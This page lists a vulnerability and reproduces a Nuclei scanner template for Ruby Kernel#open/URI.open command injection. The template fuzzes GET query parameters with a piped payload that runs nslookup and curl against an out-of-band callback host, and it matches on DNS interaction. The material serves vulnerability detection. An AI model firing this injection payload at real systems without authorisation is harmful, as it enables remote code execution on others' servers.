cmdi-ruby-open-rce: Ruby Kernel#open/URI.open RCE

2025-08-01 Ruby Kernel PoC Public

Description

Ruby's Kernel#open and URI.open enables not only file access but also process invocation by prefixing a pipe symbol (e.g., open(“| ls”)). So, it may lead to Remote Code Execution by using variable input to the argument of Kernel#open and URI.open.

PoC

id: cmdi-ruby-open-rce

info:
  name: Ruby Kernel#open/URI.open RCE
  author: pdteam
  severity: high
  description: |
    Ruby's Kernel#open and URI.open enables not only file access but also process invocation by prefixing a pipe symbol (e.g., open(“| ls”)). So, it may lead to Remote Code Execution by using variable input to the argument of Kernel#open and URI.open.
  reference:
    - https://bishopfox.com/blog/ruby-vulnerabilities-exploits
    - https://codeql.github.com/codeql-query-help/ruby/rb-kernel-open/
  metadata:
    max-request: 1
  tags: cmdi,oast,dast,blind,ruby,rce,vuln

variables:
  marker: "{{interactsh-url}}"

http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'

    stop-at-first-match: true
    payloads:
      interaction:
        - "|nslookup {{marker}}|curl {{marker}}"

    fuzzing:
      - part: query
        fuzz:
          - "{{interaction}}"

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"
# digest: 4b0a00483046022100d92df5db8aad5337f3bfd5b6b74ac56650ed4b46a01670f2cc17edfc482eebf70221008653513ecb252e26cbc2c9a2b34a6a150f3017f6eaff6568a00626ac7a8c64f4:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/dast/vulnerabilities/cmdi/ruby-open-rce.yaml

References

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